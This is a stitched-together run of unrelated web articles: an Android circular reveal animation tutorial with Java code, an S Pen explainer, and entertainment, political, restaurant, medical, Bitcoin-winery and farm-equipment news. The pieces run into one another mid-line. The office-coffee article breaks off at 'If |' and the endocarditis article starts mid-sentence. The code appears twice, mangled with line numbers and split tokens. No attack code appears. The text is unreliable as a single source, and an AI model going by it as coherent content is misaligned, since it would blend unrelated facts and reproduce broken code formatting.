The circular reveal animation is one of the most popular animations in a Material Design paradigm. Following official android documentation:
Reveal animations provide users visual continuity when you show or hide a group of UI elements.
So with this kind of animation we’ve got a powerful tool to create delightful animation. Why don’t we go a step further? Today I will show you cool transition by using the combination of circular reveal animation, fade animation and shared element transition. Below You can see the difference that it provides:
What do we have:
What do we want to achieve:
First step: Shared Element Transition
Android Lollipop was released with a new concept of the design – Material Design. With this release we’ve been introduced to new cool features, just like shared element transitions. Thanks to this tool we are able to get user along with the motion and achieve one of the main points of material design. We can do it with three simple steps:
Declare shared element transition name
First, we have to declare shared element between two activities we are transitioning it. We can do it in two ways – in the XML or in the code itself. This is how XML should look like:
com/droidsonroids/materialshowcase/main/MainPresenterImpl.java 1
or
mFab.setTransitionName("reveal"); 1 mFab. setTransitionName ( "reveal" ) ;
When we do it this way, we have to declare the same transition name in Activity we are transitioning to, and then fire this Activity with one of those methods:
Intent intent = new Intent(this, ContactActivity.class); ActivityOptionsCompat.makeSceneTransitionAnimation(Activity activity,Pair<View, String>... sharedElements); ActivityCompat.startActivity(this, intent, option.toBundle()); 1 2 3 Intent intent = new Intent ( this, ContactActivity. class ) ; ActivityOptionsCompat. makeSceneTransitionAnimation ( Activity activity, Pair < View, String >... sharedElements ) ; ActivityCompat. startActivity ( this, intent, option. toBundle ( ) ) ;
or
Intent intent = new Intent(this, ContactActivity.class); ActivityOptionsCompat.makeSceneTransitionAnimation(Activity activity, (View)sharedElement, String transitionName); ActivityCompat.startActivity(this, intent, option.toBundle()); 1 2 3 Intent intent = new Intent ( this, ContactActivity. class ) ; ActivityOptionsCompat. makeSceneTransitionAnimation ( Activity activity, ( View ) sharedElement, String transitionName ) ; ActivityCompat. startActivity ( this, intent, option. toBundle ( ) ) ;
Create arc motion with transition animation
In the second Activity, in our example called ContactActivity, we have to set proper Enter Transition. We are doing it with this piece of code:
@Bind(R.id.activity_contact_rl_container) RelativeLayout mRlContainer; @Bind(R.id.activity_contact_fab) FloatingActionButton mFab; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState);... setupEnterAnimation();... } private void setupEnterAnimation() { Transition transition = TransitionInflater.from(this).inflateTransition(R.transition.change_bound_with_arc); transition.setDuration(300); getWindow().setSharedElementEnterTransition(transition); transition.addListener(new Transition.TransitionListener() { @Override public void onTransitionStart(Transition transition) { } @Override public void onTransitionEnd(Transition transition) { animateRevealShow(mRlContainer); } @Override public void onTransitionCancel(Transition transition) { } @Override public void onTransitionPause(Transition transition) { } @Override public void onTransitionResume(Transition transition) { } }); } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 @ Bind ( R. id. activity_contact_rl_container ) RelativeLayout mRlContainer ; @ Bind ( R. id. activity_contact_fab ) FloatingActionButton mFab ; @ Override protected void onCreate ( Bundle savedInstanceState ) { super. onCreate ( savedInstanceState ) ;... setupEnterAnimation ( ) ;... } private void setupEnterAnimation ( ) { Transition transition = TransitionInflater. from ( this ). inflateTransition ( R. transition. change_bound_with_arc ) ; transition. setDuration ( 300 ) ; getWindow ( ). setSharedElementEnterTransition ( transition ) ; transition. addListener ( new Transition. TransitionListener ( ) { @ Override public void onTransitionStart ( Transition transition ) { } @ Override public void onTransitionEnd ( Transition transition ) { animateRevealShow ( mRlContainer ) ; } @ Override public void onTransitionCancel ( Transition transition ) { } @ Override public void onTransitionPause ( Transition transition ) { } @ Override public void onTransitionResume ( Transition transition ) { } } ) ; }
<!--?xml version="1.0" encoding="utf-8"?--> <!--suppress AndroidElementNotAllowed --> 1 2 3 4 <! --? xml version = "1.0" encoding = "utf-8"? -- > <! -- suppress AndroidElementNotAllowed -- >
First look into java code. We are inflating a transition that is declared in our xml file. We are setting duration, and then we are setting the inflated transition as SharedElementEnterTransition. And there is a tricky part – to achieve this meaningful motion effect, we have to implement the TransitionListener. In onTransitionEnd callback we have to start the Circular Reveal Animation. Secondly, look into XML code. We have declared a transitionSet with changeBounds and arcMotion. The first is responsible for capturing views bounds in first and second activity and animate it between them. The second is responsible for creating this arc motion. We also declared there minimumHorizontalAngle and minimumVerticalAngle to force curvature between two points.
In onTransitionEnd callback we have the animateRevealShow() method, which takes us to the second part of this article.
Second step: Circular Reveal Animation
To complete the full meaningful motion, we have to make a circural reveal, and then fade the layout in.
private void animateRevealShow(final View viewRoot) { int cx = (viewRoot.getLeft() + viewRoot.getRight()) / 2; int cy = (viewRoot.getTop() + viewRoot.getBottom()) / 2; GUIUtils.animateRevealShow(this, viewRoot, mFab.getWidth() / 2, R.color.accent_color, cx, cy, new OnRevealAnimationListener() { @Override public void onRevealHide() { } @Override public void onRevealShow() { initViews(); } }); } //GUIUtils method: public static void animateRevealShow(final Context ctx, final View view, final int startRadius, @ColorRes int color, int x, int y, OnRevealAnimationListener listener) { float finalRadius = (float) Math.hypot(view.getWidth(), view.getHeight()); Animator anim = ViewAnimationUtils.createCircularReveal(view, x, y, startRadius, finalRadius); anim.setDuration(ctx.getResources().getInteger(R.integer.animation_duration)); anim.setStartDelay(80); anim.setInterpolator(new FastOutLinearInInterpolator()); anim.addListener(new AnimatorListenerAdapter() { @Override public void onAnimationStart(Animator animation) { view.setBackgroundColor(ContextCompat.getColor(ctx, color)); } @Override public void onAnimationEnd(Animator animation) { view.setVisibility(View.VISIBLE); if(listener!= null) { listener.onRevealShow(); } } }); anim.start(); } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 private void animateRevealShow ( final View viewRoot ) { int cx = ( viewRoot. getLeft ( ) + viewRoot. getRight ( ) ) / 2 ; int cy = ( viewRoot. getTop ( ) + viewRoot. getBottom ( ) ) / 2 ; GUIUtils. animateRevealShow ( this, viewRoot, mFab. getWidth ( ) / 2, R. color. accent_color, cx, cy, new OnRevealAnimationListener ( ) { @ Override public void onRevealHide ( ) { } @ Override public void onRevealShow ( ) { initViews ( ) ; } } ) ; } //GUIUtils method: public static void animateRevealShow ( final Context ctx, final View view, final int startRadius, @ ColorRes int color, int x, int y, OnRevealAnimationListener listener ) { float finalRadius = ( float ) Math. hypot ( view. getWidth ( ), view. getHeight ( ) ) ; Animator anim = ViewAnimationUtils. createCircularReveal ( view, x, y, startRadius, finalRadius ) ; anim. setDuration ( ctx. getResources ( ). getInteger ( R. integer. animation_duration ) ) ; anim. setStartDelay ( 80 ) ; anim. setInterpolator ( new FastOutLinearInInterpolator ( ) ) ; anim. addListener ( new AnimatorListenerAdapter ( ) { @ Override public void onAnimationStart ( Animator animation ) { view. setBackgroundColor ( ContextCompat. getColor ( ctx, color ) ) ; } @ Override public void onAnimationEnd ( Animator animation ) { view. setVisibility ( View. VISIBLE ) ; if ( listener!= null ) { listener. onRevealShow ( ) ; } } } ) ; anim. start ( ) ; }
In the first animateRevealShow method we have to get the centerX and centerY dimension. Then we have to call the second method that I transfered to the GUIUtils class to skip repeatability of the code. So take a look into GUIUtils method animateRevealShow and explain every parameter in this method:
We have context that is used to retrieve color from @ColorRes value and duration of the animation from resources. We have centerX and centerY parameter, rootView that we are making circular reveal on and custom listener to communicate between the AnimatorListener and our Activity. When the animation has ended, we are informing the listener to fade the views in. So there is method initViews() that is fading the views in:
private void initViews() { new Handler(Looper.getMainLooper()).post(() -> { Animation animation = AnimationUtils.loadAnimation(this, android.R.anim.fade_in); animation.setDuration(300); mLlContainer.startAnimation(animation); mIvClose.startAnimation(animation); mLlContainer.setVisibility(View.VISIBLE); mIvClose.setVisibility(View.VISIBLE); }); } 1 2 3 4 5 6 7 8 9 10 private void initViews ( ) { new Handler ( Looper. getMainLooper ( ) ). post ( ( ) -> { Animation animation = AnimationUtils. loadAnimation ( this, android. R. anim. fade_in ) ; animation. setDuration ( 300 ) ; mLlContainer. startAnimation ( animation ) ; mIvClose. startAnimation ( animation ) ; mLlContainer. setVisibility ( View. VISIBLE ) ; mIvClose. setVisibility ( View. VISIBLE ) ; } ) ; }
The mLLContainer and mIvClose are the LinearLayout with icons and ImageView with close action icon.
Third step: Return to MainActivity
As You can see, the meaningful motion is not created one-way. When we click on the close icon in the left top corner, or press back button we are finishing ContactActivity with Hiding Circular Reveal Animation and return shared element transition. The second one is handled by the framework, so we don’t have to worry about it. The first one we have to implement so I will explain it below:
Override the onBackPressed() method in Activity
@Override public void onBackPressed() { GUIUtils.animateRevealHide(this, mRlContainer, R.color.accent_color, mFab.getWidth() / 2, new OnRevealAnimationListener() { @Override public void onRevealHide() { backPressed(); } @Override public void onRevealShow() { } }); } //GUIUtils public static void animateRevealHide(final Context ctx, final View view, @ColorRes int color, final int finalRadius, OnRevealAnimationListener listener) { int cx = (view.getLeft() + view.getRight()) / 2; int cy = (view.getTop() + view.getBottom()) / 2; int startRadius = view.getWidth(); Animator anim = ViewAnimationUtils.createCircularReveal(view, cx, cy, startRadius, finalRadius); anim.setInterpolator(new FastOutLinearInInterpolator()); anim.addListener(new AnimatorListenerAdapter() { @Override public void onAnimationStart(Animator animation) { super.onAnimationStart(animation); view.setBackgroundColor(ContextCompat.getColor(ctx,color)); } @Override public void onAnimationEnd(Animator animation) { super.onAnimationEnd(animation); if(listener!= null) { listener.onRevealHide(); } view.setVisibility(View.INVISIBLE); } }); anim.setDuration(ctx.getResources().getInteger(R.integer.animation_duration)); anim.start(); } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 @ Override public void onBackPressed ( ) { GUIUtils. animateRevealHide ( this, mRlContainer, R. color. accent_color, mFab. getWidth ( ) / 2, new OnRevealAnimationListener ( ) { @ Override public void onRevealHide ( ) { backPressed ( ) ; } @ Override public void onRevealShow ( ) { } } ) ; } //GUIUtils public static void animateRevealHide ( final Context ctx, final View view, @ ColorRes int color, final int finalRadius, OnRevealAnimationListener listener ) { int cx = ( view. getLeft ( ) + view. getRight ( ) ) / 2 ; int cy = ( view. getTop ( ) + view. getBottom ( ) ) / 2 ; int startRadius = view. getWidth ( ) ; Animator anim = ViewAnimationUtils. createCircularReveal ( view, cx, cy, startRadius, finalRadius ) ; anim. setInterpolator ( new FastOutLinearInInterpolator ( ) ) ; anim. addListener ( new AnimatorListenerAdapter ( ) { @ Override public void onAnimationStart ( Animator animation ) { super. onAnimationStart ( animation ) ; view. setBackgroundColor ( ContextCompat. getColor ( ctx, color ) ) ; } @ Override public void onAnimationEnd ( Animator animation ) { super. onAnimationEnd ( animation ) ; if ( listener!= null ) { listener. onRevealHide ( ) ; } view. setVisibility ( View. INVISIBLE ) ; } } ) ; anim. setDuration ( ctx. getResources ( ). getInteger ( R. integer. animation_duration ) ) ; anim. start ( ) ; }
After clicking back pressed button we have to make hiding circular reveal animation. The startRadius is a full width of view, the final radius is the FloatingActionButton width divided by 2. When the animation ends, we have to inform the Activity with the OnRevealAnimationListener to call super.onBackPressed(). After that the FAB will be animated with arc motion to the MainActivity.
Conclusion
Android Lollipop gives us a big range of tools to implement amazing and cool UI with meaningful motion and great transitions. Although it’s still available only on 30% of the devices, the audience is getting bigger and Material Design concepts are here to stay.
Thank You for reading this, and I invite You to comment this article below.
Cheers!
The project can be found on DroidsOnRoids Github in Material Showcase repository.Who knows what we’ll see unveiled at Mobile World Congress, but with its recent purchase of five percent of Wacom, Samsung has shown that it believes there is a future in the S Pen.
Read Next: 7 things you can do with the Galaxy Note 9’s Bluetooth S Pen
And why not? It’s a nifty piece of hardware that allows users to do some very interesting things. The popularity of the Samsung Galaxy Note 2 isn’t entirely thanks to the S Pen—a long way from it, actually—but it certainly didn’t suffer because of it either.
Whether you like to use it or not, you may find yourself wondering how the S Pen works. Well that’s what we’re here for.
If you’re in a hurry, check out the three sentence summary, or watch the video.
Where Does The Power Come From?
You might have wondered this already. The S Pen has a button that obviously communicates with whatever Galaxy Note device you’re using, so it has got to require some power, right? One possible solution would be a rechargeable battery that would charge when the S Pen was stowed away, but this isn’t the case. So where does that power come from?
The answer: the S Pen pulls the power wirelessly from the device. See, behind the screen is a circuit board, a grid of coils, and a magnetic reflector. Together, these generate an electromagnetic field that emanates outward from the screen. How far does it go? Well, you know how when you move the S Pen close enough, the “hover” icon comes up? Right about there.
Inside the S Pen itself is another coil that channels the power from the field to its own internal circuit board. It uses this power to communicate information from its buttons back to the Note device. And no, that isn’t a type. I said buttons.
The Screen Has Nothing To Do With It
Alright, in the technical sense, maybe it isn’t a button, but that’s the easiest way to think of the tip, or “nib” of the S Pen. See, as the heading just above this paragraph says, the screen has nothing to do with writing, drawing or navigating using the S Pen.
The same electromagnetic field that provides power to the pen can also be used to calculate its position relative to the screen. This, along with information from the S Pen button and the nib on the end are what is used to determine what the user it doing with the S Pen.
If you have a Note device and S Pen handy, you can easily test this for yourself. Pick up the S Pen, push down the nib and move it in close to the screen. You’ll notice that you can draw in the air with the S Pen and it shows up on the screen just as it would if you were using it normally. For another test, take a business card or piece of cardboard, hold it over the screen, and if you’re close enough, you’ll be able to draw on this and see it on the screen.
What About Pressure Sensitivity?
Ah yes, pressure sensitivity. Again, as mentioned above, the screen has nothing to do with it. This is all in the S Pen. For all the levels of pressure sensitivity Samsung touts, I’ve basically only noticed two. Okay, make that three, if no pressure at all counts as a sensitivity level.
It’s interesting though: I personally found that once I knew that all the pressure sensitivity information came from the S Pen itself and not the screen, I was able to get more sensitivity out of it. Note that this still didn’t help my drawing or handwriting skills, but it is still worth pointing out.
Why Don’t More Apps Use The S Pen?
This is a good question, actually. In preparing for this article, I downloaded the S Pen SDK (Software Development Kit) from Samsung and looked through some of the included code samples.
Somewhat to my surprise, the code for using the S Pen was readable and easy to understand. In fact, most of the code can be abstracted away so that developers can add the relevant code to their input handling while leaving most of the rest of the code unchanged.
Sure, this is easier said than done, especially when you’re dealing with an app that has been updated time and again for bug fixes. Still, it left me surprised that we don’t see more apps in the Play Store with S Pen-specific features, especially considering the popularity of the Samsung Galaxy Note line of devices.
The most likely answer is that the S Pen already “just works” in every app, so unless it can add features that would otherwise be impossible, developers are likely to let TouchWiz make sure the S Pen works for them.
TL;DR
An electromagnetic field is generated from a circuit behind the screen. The S Pen picks this up and uses it to power itself and figure out its position relative to the screen. It sends this, along with information from the S Pen button and the nib at the end, back to the Note.
Videos
Does It Matter?
So, assuming you didn’t already know, you now know how the S Pen works. It’s cool, but is there any practical use to this knowledge? Why yes, as a matter of fact: you can now use a heavy duty screen protector or case, if you wish, without worrying about it affecting S Pen sensitivity.
Is there anything else you’d like to see us break down? Would you like to see more detail? Less detail? Let us know in the comments below.Daniel Craig will not return to the role of James Bond again, if Mark Strong's comments are anything to go by.
The actor spoke about his friend during an interview with Shortlist, saying that Craig had "come to the end of his Bond time".
When asked if he'd ever like to appear in the 007 series, Strong said: "Do you know what, I'd have loved to have played the villain in a Bond movie while Daniel was doing it because he's a pal and that would have been great.
"But I think he's come to the end of his Bond time and so it's probably never going to happen, but that would have always been great."
When asked if he'd try to convince Craig to star as Ian Fleming's titular agent once again, Strong said: "Well, I will try, believe me. I will do my best.
Uli Weber
"But there are powers at work greater than us who make all these decisions."
The Grimsby actor added: "He has been [wonderful] and he's loved it. But I think he feels like he's mined it. He's done what he wants with it. That point has come."
If Daniel Craig quits, who will be the next James Bond? We assess the front runners
The comments come after Craig previously said he'd rather'slash his wrists' than do another Bond film last year.
Craig has starred as James Bond in Casino Royale, Quantum of Solace, Skyfall and Spectre.
Watch the trailer for Spectre below:Two Democratic senators have introduced legislation that would give federal employees a 3.3 percent pay raise in 2015, mirroring a bill already introduced in the House.
Sen. Brian Schatz, D-Hawaii, introduced the bill -- which would apply to both General Schedule and wage-grade employees -- with Sen. Ben Cardin, D-Md., as a cosponsor. Rep. Gerry Connolly, D-Va., introduced the same measure, called the Federal Adjustment of Income Rates (FAIR) Act, in the House in March.
The legislation would increase federal salaries significantly more than the 1 percent raise pitched by President Obama, which federal employee unions have called “inadequate” and “pitiful.” A 3.3 percent raise, said National Treasury Employees Union President Colleen Kelley, more accurately reflects the indicators for calculating salary increases as spelled out in federal law.
“After several years of pay freezes, unpaid furloughs and government shutdowns, it is time for federal employee pay to get back on track,” Kelley said. “We appreciate Sen. Schatz and Sen. Cardin introducing this bill to provide a fair pay raise for federal employees in 2015, and will work to garner support for it.”
Kelley added the raise was necessary to shrink the gap between private and federal-sector pay.
With the House yet to take any action on its version of the bill, it is unclear if the proposed raise will become law. The House on Thursday passed a Defense bill authorizing a 1.8 percent raise for military personnel, however, opening the window for the pay parity argument that federal employee advocates have made many times in the past.Republican Donald Trump and Democrat Hillary Clinton secured major victories in the New York primaries Tuesday night, giving a jolt of life to the front-runners' campaigns.
After a string of losses for both candidates, the New York primaries re-established their dominance in their respective races. New York also serves as a springboard for both Clinton and Trump as they head into a series of primaries where they should continue to perform well.
While the path ahead looks a little easier for both of them, Tuesday's results underscored that neither Trump nor Clinton can afford to take the rest of the primary season for granted. On the Republican side, Trump will still have to contend with two opponents attempting to deny him the 1,237 delegates needed to win the nomination outright. Meanwhile, since Democratic delegates are awarded proportionally, Clinton's New York victory won't push Bernie Sanders out of the race.
In their victory speeches Tuesday night, both candidates sounded like strident winners but readily acknowledged the fight is not over.
"We don't have much of a race anymore," Trump bragged from Trump Tower in Manhattan, noting that Ted Cruz has been "just about mathematically eliminated" from winning 1,237 delegates.
At the same time, Trump gave a stern warning to those in the Republican establishment who may try to block his path to 1,237. "It's really nice to win the delegates with the votes," he said. "Nobody should be given delegates, which is a ticket to victory but not a fair ticket."
Clinton, meanwhile, told her supporters, "The race for the Democratic nomination is in the home stretch, and victory is in sight." Making a direct appeal to the throngs of Sanders supporters in upcoming primary states like Pennsylvania and California, Clinton said, "I believe there is much more that unites us than divides us."
New York rallies behind Trump but sees a divided GOP
With 93 percent of precincts reporting in New York Tuesday night, Trump had won a solid 60 percent of the vote. With this overwhelming victory, Trump will take home nearly all of New York's 95 delegates.
Donald Trump gives victory speech in New York
As it has been in other states, Trump's base of support spanned a wide range of demographic groups. CBS News exit polling shows he won the support of both men and women, college graduates and those without a college degree. Some of Trump's strongest support came from voters who were looking for a candidate who would bring needed change and those who were looking for someone who would tell it like it is. He also won the backing of eight in 10 voters who want the next president to be from outside of politics.
Meanwhile, a recent new CBS News Battleground Tracker poll shows that New York could be the start of Trump's newest winning streak. In Pennsylvania, which votes on April 26, Trump leads Ted Cruz, 46 percent to 26 percent. John Kasich, who grew up in the Keystone State, trails with 23 percent. The poll also found Trump leading in California, which votes on June 7, with 49 percent support.
"We expect we're going to have an amazing number of weeks" ahead, Trump said Tuesday night.
It's already impossible for Kasich to reach 1,237 delegates. And as Trump said Tuesday, it could be impossible for Cruz to reach that number by next Tuesday.
That, however, isn't stopping Kasich or Cruz, who are both interested in securing delegate support through a brokered convention. Voters in New York expressed concern with the process. Around six out of 10 Republican voters said the primary process has mostly divided the Republican party. Just 36 percent said it has energized the party.
Already in Philadelphia on Tuesday evening, Cruz declared 2016 "the year of the outsider," following up with the assertion, "I am an outsider." Lowman Henry, the Cruz campaign's Pennsylvania state chairman, told reporters Tuesday night that the senator has strong prospects in the state, both for its 14 at-large delegates and the delegates awarded at the congressional district level.
Kasich, meanwhile, was in Maryland on Tuesday evening. His chief strategist John Weaver wrote in a memo, "It's now or never to stop Trump and save the Republican Party."
The Trump campaign is taking the challenge seriously. Just this week, the campaign underwent an extensive reorganization, all in an effort to build up Trump's delegate support for the remainder of the primary campaign -- and during the GOP convention, if it comes to that. It's "evolving," Trump said Tuesday night of his changing team.
Sanders' path narrows, but he marches on
For Clinton, Tuesday night's home-state win was yet another reminder of how narrow the path forward is for Sanders. While it's not mathematically impossible at this point for him to win the nomination, Tuesday night's results are a blow to a campaign that earlier this month was suggesting it could potentially win New York state's primary outright.
Hillary Clinton gives victory speech in New York
Clinton's victory was in line with or slightly above what public polling in the state predicted, all of which found her leading by between 10 and 15 points in the final days before the primary. With 94 percent of precincts reporting Tuesday night, Clinton led Sanders by 16 points, 58 percent to 42 percent.
"Today we took Secretary Clinton on in her home state of New York, and we lost," Sanders told reporters at a brief press availability upon landing in Burlington, Vermont.
Sanders looked ahead on the map, saying the race next turns to five East Coast states -- Pennsylvania, Connecticut, Rhode Island, Delaware and Maryland -- on April 26. "We look forward to winning a number of those states," he said.
The Vermont senator added that his campaign has come a "very, very long way" since he announced his candidacy last spring, reiterating that there is still a "path" to the Democratic nomination for him.
Meanwhile, almost simultaneously in New York City, Clinton was claiming victory beyond just New York, proclaiming: "There's no place like home."
In a clear nod to Sanders' past comments about her delegate lead coming largely from the Deep South, Clinton stressed that her campaign has "won in every region of the country." "From the north to the south to the east to the west," she continued, "but this one's personal!"
As in past contests, exit polling data shows that Clinton's victory was powered by strong margins among minorities, older voters and women. Among African Americans, who made up almost a quarter of the New York primary electorate on Tuesday, Clinton led 75 percent to 25 percent; among Latinos, who were 14 percent of the electorate, she led 63 percent to 37 percent. Clinton led among voters over 45 by a 30-point margin, 65 percent to 35 percent; among those over 65 years old, she won by an even bigger 44-point margin (72 percent to 28 percent).
Meanwhile, Sanders continued to do well among white voters and younger voters, though by smaller margins here than in other recent states on the map. Among white voters, Sanders had a slight edge, 51 percent to 49 percent. And among 18- to 24-year-olds, he led by a massive margin: 82 percent of the demographic chose Sanders, compared with 18 percent for Clinton. He won 18- to 44-year-old voters overall by a 14-point margin (57 percent to 43 percent).
Despite the fact that Sanders outspent Clinton on New York TV and radio by almost $3 million since April 5, he and his campaign began lowering expectations before voters even went to the polls. On Sunday, Sanders said on CBS' "Face the Nation" that the closed primary system in New York would make it difficult for him to win there.
"Even here in New York state you have a voting system which makes it impossible for independents to participate in the Democratic primary, that makes it impossible for people to register on the day of the election which many states do, which is going to result in a lower voter turnout than I would like to see," he said.Market 65 Spin-Off, Veranico, Opens in the Arena District This Week
The co-owners of Downtown’s Market 65 are opening a spin-off restaurant this week. Veranico, or Indian summer, will offer a healthy alternative to the Arena District’s lunch crowd.
“We wanted to be considered a break in your day,” said co-owner Anthony Micheli.
Similar to Market 65, Veranico will serve in a fast-casual style throughout the day. Salads and sandwiches are still the staple menu items, but they’re adding a few elements, like paninis and grain bowls during the day and flatbreads at night, for the area’s event-goers. A bar offers three local brews on tap, a fridge full of more Ohio brews, and a wine list, and they’ve swapped in the fountain drink machine for pressed juices, house blended teas and seasonal lemonades.
Local baker Holly Schomberg, formerly of Laughlin’s Bakery in the Short North, helped assemble the menu. She’ll be creating from-scratch cookies and protein bars as well.
Catering to the local-conscious, Veranico is supplied by Ohio growers and producers. Gerber’s Poultry, from Kidron, provides their chicken; Premier ProduceONE, a Dayton distribution facility for the state’s farms, provides their produce; and they’re one of the first to work with Old Soul’s farm, out of St. Paris, for a lot of their greens.
“I worked in the Arena District for a little while,” said co-owner Patrick Katzenmeyer. “I think a healthy lunch option is what a lot of folks are looking for down there.”
Open from 10:30 a.m. to 8 p.m. Monday through Saturday, Veranico will certainly capitalize on the lunch crowd. Micheli said the hours, particularly for Saturday, are subject to change. With little left to do — uncover the windows, set up the menus, apply finishing touches — Veranico will open at 401 N. Front St. early this week.
For more information, visit veranicocolumbus.com.
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About the Author Lauren Sega is the Associate Editor for Columbus Underground. She covers political issues on the local and state levels, as well as local food and restaurant news. She grew up near Cleveland, graduated from Ohio University's Scripps School of Journalism, and loves running, traveling and hiking.
Tags:My office recently switched from Styrofoam coffee cups to a “bring your own mug” policy. Sounds like the right idea, but with all the water and paper towels we now waste on washing mugs, I’m not sure this is a huge net gain for the environment. What is the “greenest” way to drink coffee around the office?
Judging from all the letters the Lantern gets on this topic, you and your office-mates are not alone in being confused about how to balance a caffeine addiction with a concern about responsible consumption. It’s true: You’ll have a hard time finding a more eco-unfriendly product than the material most of us call Styrofoam. Those soft, white cups are made of highly processed petroleum (polystyrene, to be exact), and they’re almost certain to languish in a landfill for centuries. Still, it may not always be the right move to switch over to ceramic or stainless-steel mugs. It all comes down to which aspects of the environment you care about most.
If |
comparing endocarditis patients who did and did not use intravenous drugs found that the IV drug users stayed in the hospital longer, underwent heart surgery at higher rates, and died at greater rates even though they were younger than the non-IV drug users. (Am J Med Sci 2016;352[6]:603.)
Length of stay for the 48 injection drug users with infective endocarditis was 26 days vs. 12 days for the 79 infective endocarditis patients who did not inject drugs, according to the study. The drug-using group was also younger, 32 vs. 54 for those who did not use drugs. Infective endocarditis cases in drug users increased from 14 percent of hospitalization in 2009 to 56 percent in 2014. Hospital mortality did not differ between the groups: 10.4 percent for IV drug users vs. 8.9 percent for non-drug users (p=0.77).
Daniel Clark Files, MD, an assistant professor of pulmonary, critical care, allergy, and immunologic medicine at Wake Forest School of Medicine in Winston-Salem, NC, who led the study, noted that the areas of North Carolina from which these patients were drawn seemed to have a greater use of oxymorphone than other areas in the United States battered by the epidemic. “We think that there are things in the compounding of this material that cause patients to have a higher incidence of endocarditis,” he said. “In many other areas of the country hard hit by opioid abuse, users switch to heroin as the pills become harder to obtain.”
Often, Dr. Files said, emergency physicians see patients with less severe complications such as abscesses. “I say they should be thinking about endocarditis and high risk. Make sure you get blood cultures on those patients with abscesses reporting injection drug use.”
The epidemic is clearly growing. The incidence of hospital discharge for drug dependence with endocarditis in North Carolina between 2010 and 2015 increased twelvefold—0.2 to 2.7 per 100,000 people per year, according to the CDC's Morbidity and Mortality Weekly Report. (2017;66[22]:1.) Aaron T. Fleischauer, PhD, the career epidemiology field officer for the CDC's Office of Public Health Preparedness and Response, North Carolina Division of Public Health, led the team that analyzed hospitalization for endocarditis among people with diagnosed drug dependence, and found that as heroin-related overdose deaths quadrupled between 2002 and 2014, concomitant infectious complications of such drug use also increased.
“Endocarditis can be a surrogate marker for drug abuse,” said Dr. Fleischauer. “It is one of the more important indicators because it is a serious health complication with exorbitant health care costs in a population that is less likely to have health insurance.”
Attacking the epidemic will require reducing the availability of the drugs while ensuring that patients get drug rehabilitation. “Right now, I would say the substance abuse community has the capability to handle only a fraction of the drug users. Without substance abuse treatment facilities, I think we can anticipate the numbers to stay the same,” Dr. Fleischauer said. “I think another answer is harm reduction. North Carolina has passed some laws allowing safe syringe exchange,” he said.
Yet another study found increases in endocarditis and hepatitis C. That retrospective study at the University of Cincinnati Medical Center from Jan. 1, 1999, to Dec. 31, 2009, found a twofold increase in infective endocarditis, a sixfold increase in opiate toxicology screens, and a threefold increase in antibodies for hepatitis C, said the lead author, Susana Keeshin, MD, who is now at the University of Utah. (Am J Med Sci 2016;352[6]:609.)
“Some of the reasons people use drugs are economic,” she said. “A lot of patients become addicted after having legitimate medical reasons for taking the drugs. They lost their jobs, or their insurance is not as good as it had been. It just became cheaper to use heroin.”
It is a difficult and complicated problem, she said, noting that focus groups revealed that some of the younger patients just started with injecting drugs. Identifying a drug epidemic relies on overdoses, Dr. Keeshin said. “All these infections we are seeing, we could use them as a marker to understand there's an epidemic.”
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Mondo Cellars is offering investors the opportunity to own a part of an established winery for Bitcoin. The owners of Mondo Cellars understand the need for diversification and are also large Cryptocurrency enthusiasts.
Mondo Cellars has become the first to accept Bitcoin for an equity partnership in their Paso Robles winery. This will be the first established winery to offer company shares to Bitcoin investors.
Not only will Bitcoin investors receive an equity position in the winery but partners will receive many special benefits that are not available to the general public.
One of the owners of Mondo Cellars, Doug Mondo explains their choice. “Our decision to get much more involved in Bitcoin and other Cryptocurrency is a lot deeper than just “it looks like it is viable”
“It makes sense that Bitcoin and other Cryptocurrency holders that were early adopters should diversify with a portion of their gains.”
“They are also seeing the volatility and while most seem to have, justifiably, continued faith, many understand the real benefit to diversify by moving a good bit of their gains into real tangible assets.”
Interested potential partners have the opportunity to purchase 30 percent of the winery broken up into 2 percent shares costing $100,000 denominated in Bitcoin.
Many Bitcoin enthusiasts are looking to diversify their assets into Bitcoin friendly businesses. Mondo Cellars has created a program to expand Bitcoins use in their community and beyond.
Partners with serious interest in learning about the winery partnership opportunity can join the Mondo brothers, founders of Mondo Cellars and Inn, in person for a complimentary wine tasting.
The Mondo brothers will be attending the Inside Bitcoin conference in Las Vegas, Nevada. They will be offering tasting by appointment in penthouse suite at the MGM Grand on Monday, Dec. 9, 4-9 p.m. and Tuesday, Dec. 10 from 12–8 p.m.
Mondo Cellars is located in Paso Robles, Calif. They specialize in both red and white blends such as the The Boss, a Syrah, Mourvedre and Zinfandel blend.
Mondo Cellars features 360 degree breathtaking views of the local wine growing region set amongst their 80 acres of rolling hills. They combine an intimate Villa nel Mondo bed and breakfast, on-site tasting room and outdoor event area.
Share this post! Google+Improved precision is starting to show up more often on the planters, which is one of the most valuable places to invest in new technology.
“Grower margins have decreased significantly this past year. Profits made in the upcoming seasons need to be placed where they can expect the greatest return. The planter pass is the most important pass a grower makes in his field and it is important not to lack on the investment for this pass,” said Charlie Troxell, precision ag specialist for Precision Agri Service, Inc. “There is a systematic approach to this and one size does not fit all. Every farmer’s planter is set up a little differently and it doesn’t make it right or wrong. If they are happy with their planter then a lot of times there is no need to re-invent the wheel. But, with the technology available today, a grower can get much more detailed information on how their planter is performing, allowing them to make simple changes in-season to correct any problems that may occur. By the time you can see the crop, it’s too late.”
Planters are one of the specialties of Precision Agri Services, Inc., based in Minster. For years, the consulting company has worked on retrofitting planters with updated technology and Precision Agri Services is just starting to custom build new planters to meet specific needs. Even with lower crop prices, precision-based planter improvements can still be a very wise investment.
There are several fairly recent advances in planter technology that can be updated on older planters or included in a new planter that can make a big difference in that crucial planting pass.
Planter down force management
Consistent seed depth is vitally important for consistent stand establishment in the field.
